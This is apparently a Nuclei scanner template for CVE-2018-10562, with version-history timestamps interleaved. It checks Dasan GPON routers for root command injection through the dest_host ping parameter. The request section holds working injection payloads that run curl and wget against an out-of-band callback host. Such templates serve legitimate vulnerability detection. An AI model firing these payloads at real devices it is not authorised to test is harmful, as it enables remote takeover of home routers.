2022-04-02 14:56:35 +00:00
id : CVE-2018-10562
info :
2022-05-13 20:26:43 +00:00
name : Dasan GPON Devices - Remote Code Execution
2022-04-02 14:56:35 +00:00
author : gy741
severity : critical
2022-05-17 09:18:12 +00:00
description : Dasan GPON home routers are susceptible to command injection which can occur via the dest_host parameter in a diag_action=ping request to a GponForm/diag_Form URI. Because the router saves ping results in /tmp and transmits them to the user when the user revisits /diag.html, it's quite simple to execute commands and retrieve their output.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands with root privileges on the affected device.
2023-09-06 12:57:14 +00:00
remediation : |
Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
2022-04-02 14:56:35 +00:00
reference :
- https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router
2022-04-05 06:48:20 +00:00
- https://github.com/f3d0x0/GPON/blob/master/gpon_rce.py
2022-04-05 06:43:12 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2018-10562
2022-05-17 09:18:12 +00:00
- https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router/
2022-04-02 14:56:35 +00:00
classification :
2022-05-17 09:18:12 +00:00
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2022-04-02 14:56:35 +00:00
cve-id : CVE-2018-10562
cwe-id : CWE-78
2023-12-12 11:07:52 +00:00
epss-score : 0.97441
2024-01-14 13:49:27 +00:00
epss-percentile : 0.99945
2023-09-06 12:57:14 +00:00
cpe : cpe:2.3:o:dasannetworks:gpon_router_firmware:-:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : dasannetworks
product : gpon_router_firmware
2023-12-05 09:50:33 +00:00
tags : cve,cve2018,dasan,gpon,rce,oast,kev,dasannetworks
2023-03-29 11:07:38 +00:00
variables :
2023-03-29 14:11:27 +00:00
useragent : '{{rand_base(6)}}'
2023-03-29 11:07:38 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-04-02 14:56:35 +00:00
- raw :
- |
POST /GponForm/diag_Form?images/ HTTP/1.1
Host : {{Hostname}}
2023-03-29 13:54:19 +00:00
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'`;busybox wget http://{{interactsh-url}}&ipv=0
2022-04-02 14:56:35 +00:00
- |
POST /GponForm/diag_Form?images/ HTTP/1.1
Host : {{Hostname}}
2023-03-29 13:54:19 +00:00
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'`;wget http://{{interactsh-url}}&ipv=0
2022-04-02 14:56:35 +00:00
2022-04-05 06:43:12 +00:00
stop-at-first-match : true
2023-07-11 19:49:27 +00:00
2023-03-29 10:13:50 +00:00
matchers-condition : and
2022-04-02 14:56:35 +00:00
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : interactsh_protocol # Confirms the HTTP Interaction
2022-04-02 14:56:35 +00:00
words :
- "http"
2022-05-13 20:26:43 +00:00
2023-03-29 10:13:50 +00:00
- type : word
part : interactsh_request
words :
2023-03-29 13:54:19 +00:00
- "User-Agent: {{useragent}}"
2024-01-14 14:05:19 +00:00
# digest: 4a0a00473045022100eff8002cdfe102f6a45b3310a529b3082ffce269cf60f0c09c44bf7d7ffbd0480220239d1b6bfa938a51d3f70bafedef9c3b99f833dfb44e2580e054d49a0a86147e:922c64590222798bb761d5b6d8e72950